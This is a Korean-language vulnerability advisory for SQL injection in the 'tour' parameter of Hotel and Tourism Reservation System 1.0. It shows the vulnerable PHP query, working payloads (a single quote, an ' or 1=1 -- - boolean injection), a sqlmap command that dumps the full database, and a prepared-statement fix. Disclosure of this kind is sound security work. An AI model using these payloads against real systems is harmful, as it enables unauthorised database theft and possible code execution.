
Hotel and Tourism Reservation System 1.0의 인증되지 않은 SQL 주입에 대한 개념 증명으로, tour 매개변수를 통한 데이터베이스 추출을 보여줍니다.
| 필드 | 세부 정보 |
|---|
| 제목 | 호텔 및 관광 예약 시스템 - tour GET 매개변수를 통한 SQL 인젝션 |
| 공급업체 | code-projects.org |
| 공급업체 URL | https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/ |
| 제품 | 호텔 및 관광 예약 시스템 |
| 버전 | 1.0 |
| 취약점 유형 | SQL 인젝션 |
| CWE | CWE-89 |
| CVSS 점수 | 9.8 (심각) |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 영향받는 파일 | /ht/tour.php |
| 영향받는 매개변수 | tour (GET) |
| 인증 필요 | 아니요 |
| 원격 악용 가능 | 예 |
| 발견자 | Syed Imad Uddin Alvi |
호텔 및 관광 예약 시스템 1.0의 tour.php에 있는 tour GET 매개변수에 치명적인 SQL 인젝션 취약점이 존재합니다. 해당 매개변수는 어떠한 정제, 준비된 문, 또는 입력 검증 없이 원시 SQL 쿼리에 직접 전달됩니다. 인증되지 않은 원격 공격자는 쿼리를 조작하여 데이터베이스의 모든 데이터를 추출, 수정, 삭제할 수 있습니다. 이 취약점은 sqlmap을 사용한 전체 데이터베이스 덤프를 통해 확인되었습니다.
tour.php의 취약한 코드:
if(isset($_GET['tour'])) {
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$s = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$data = mysqli_fetch_assoc($s);
$tourID는 $_GET['tour']에서 직접 가져와 어떠한 정제 없이 SQL 쿼리에 보간됩니다.
설정: XAMPP에 호텔 및 관광 예약 시스템 1.0을 설치하고 http://<target>/ht/에서 접속
1단계 — 인증되지 않은 사용자로 임의의 투어 페이지 방문:
http://<target>/ht/tour.php?tour=4

2단계 — 작은따옴표를 삽입하여 SQL 쿼리를 깨고 취약점 확인:
http://<target>/ht/tour.php?tour='
결과: 치명적인 MySQL 오류가 발생하며 — 정제되지 않은 입력이 SQL 쿼리에 도달함을 확인합니다.

3단계 — 불리언 기반 페이로드로 SQL 인젝션 확인:
http://<target>/ht/tour.php?tour=' or 1=1 -- -
결과: 투어 데이터와 함께 페이지가 정상적으로 로드됨 — 불리언 인젝션 성공.

4단계 — sqlmap을 사용하여 전체 데이터베이스 덤프:
sqlmap -r sqli.txt --dump --batch
결과: sqlmap이 hotel_db의 모든 테이블(users, rooms, tour_reserves, gallery 포함)을 성공적으로 덤프 — 전체 데이터베이스 침해 확인.

인증되지 않은 원격 공격자는 다음을 수행할 수 있습니다:
INTO OUTFILE을 통해 원격 코드 실행 가능tour GET 매개변수는 준비된 문, 매개변수화된 쿼리 또는 입력 정제 없이 원시 SQL 쿼리에 직접 보간됩니다:
// 취약함
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
// 수정됨 — 준비된 문 사용
$stmt = $db->prepare("SELECT * FROM tourism WHERE id = ?");
$stmt->bind_param("i", $_GET['tour']);
$stmt->execute();
Syed Imad Uddin Alvi — 독립 보안 연구원